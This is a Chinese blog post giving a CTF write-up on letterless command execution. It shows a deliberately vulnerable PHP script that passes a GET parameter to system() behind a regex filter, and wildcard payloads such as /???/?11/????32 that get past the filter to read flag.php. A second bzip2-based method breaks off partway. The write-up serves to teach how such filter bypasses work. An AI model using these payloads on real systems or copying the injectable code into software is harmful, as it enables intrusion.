无字母命令执行

最新推荐文章于 2024-08-12 23:29:41 发布

咸鱼咸菜

最新推荐文章于 2024-08-12 23:29:41 发布

阅读量1.2k

点赞数 2

分类专栏： CTF 文章标签： php linux

本文链接：https://blog.csdn.net/WHQ556677/article/details/122246946

版权

CTF 专栏收录该内容

1 篇文章 0 订阅

订阅专栏

先看一道题

<?php
error_reporting(0);
show_source(__FILE__);
if (isset($_GET['a'])) {
    $c=$_GET['a'];
    if (!preg_match("/\;|[a-z]|\`|\%|\x09|\x26|\>|\</i", $c)) {
        system($c);
    }else {
        echo "hacker!";
    }
}
?>

代码审计

过滤了字母分号反引号百分号和 %09 %26 <> 但是可以观察到其实没有过滤空格。

0x01使用 /???/?11/????32 进行绕过

Linux的bin目录一般保存了所有的二进制命令。 cat可以通过/bin/cat 代替。

哪种命令打开文件还能带有数字呢? 可以尝试使用 base64 去打开文件，将文件以base64编码输出

最后只有/???/?11/????32可以

┌──(root💀kali)-[/var/www/html]
└─# /usr/bin/base32 flag.php
MZWGCZ33NBZWQZDIMFTWQ43EONUGOZTWMFTWIZ3WONQX2CQ=
                                                                                                         
┌──(root💀kali)-[/var/www/html]
└─# /???/?11/????32 ????????
MZWGCZ33NBZWQZDIMFTWQ43EONUGOZTWMFTWIZ3WONQX2CQ=

仅适用kali、ubuntu等、centos不适用

因为没有centos 没有base32

0x02 使用 /usr/bin/bzip2 去压缩文件夹绕过

查看可利用

┌──(root💀kali)-[/var/www/html]
└─# locate /???/???/????2
/usr/bin/bzip2
/usr/bin/bzip2recover
/usr/bin/exiv2
/usr/bin/ntlm2
/usr/bin/ragg2
/usr/bin/rasm2
/usr/lib/sasl2

1、/???/???/????2